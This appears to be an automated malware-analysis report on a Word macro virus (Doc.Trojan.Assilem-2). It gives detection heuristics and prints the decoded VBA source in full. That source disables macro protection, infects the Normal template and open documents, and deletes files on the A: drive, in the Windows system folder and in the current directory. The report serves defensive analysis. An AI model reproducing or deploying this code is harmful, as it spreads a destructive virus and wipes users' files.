MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Word document containing VBA macros. The 'Document_Open' macro is designed to disable macro virus protection and replicate its code to the Normal template and the current document, indicating an attempt at persistence and evasion. ClamAV detection confirms this as Doc.Trojan.Assilem-2.
Heuristics 5
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ClamAV: Doc.Trojan.Assilem-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Assilem-2
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3153 bytes |
SHA-256: 4b6111e9ad421f515d859e353bf19977f9ac9b897c8ac78a6693b165ed19d404 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "QNC"
Attribute VB_Base = "1Normal.QNC"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'########## QNC in TaiWan 2000.1.1 #############
On Error Resume Next
With ActiveDocument
.ReadOnlyRecommended = False
End With
With Options
.BackgroundSave = True
.AllowFastSave = True
.SavePropertiesPrompt = False
.SaveInterval = 1
.SaveNormalPrompt = False
.VirusProtection = False
End With
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "QNC" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "QNC"
DoAD = True
End If
If NTI1.Name <> "QNC" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "QNC"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
CYA:
If CInt(Hour(Now)) >= 17 And CInt(Hour(Now)) <= 23 Then
On Error Resume Next
Kill "a:\*.*"
End If
m = CInt(Month(Now))
d = CInt(Day(Now))
If (d = 13) And (m Mod 4 = 0) Then
On Error Resume Next
If MsgBox("Fatal Error!Power Off Your Computer Now!!", vbCritical + vbOKCancel, "警告!") = vbCancel Then
Dim filestring As String
Dim Dir1, FF
Dir1 = "c:\windows\system\"
FF = Dir(Dir1 & "*.*", vbArchive Or vbHidden Or vbSystem Or vbDirectory)
Do
If (GetAttr(Dir1 & FF) And vbDirectory) <> vbDirectory Then
If GetAttr(Dir1 & FF) = vbReadOnly Or vbSystem Or vbHide Then
SetAttr Dir1 & FF, vbNormal
End If
Kill Dir1 & FF
End If
FF = Dir
Loop Until FF = ""
End If
Dir1 = CurDir()
If Right(Dir1, 1) <> "\" Then Dir1 = Dir1 & "\"
Kill Dir1 & "*.*"
End If
End Sub
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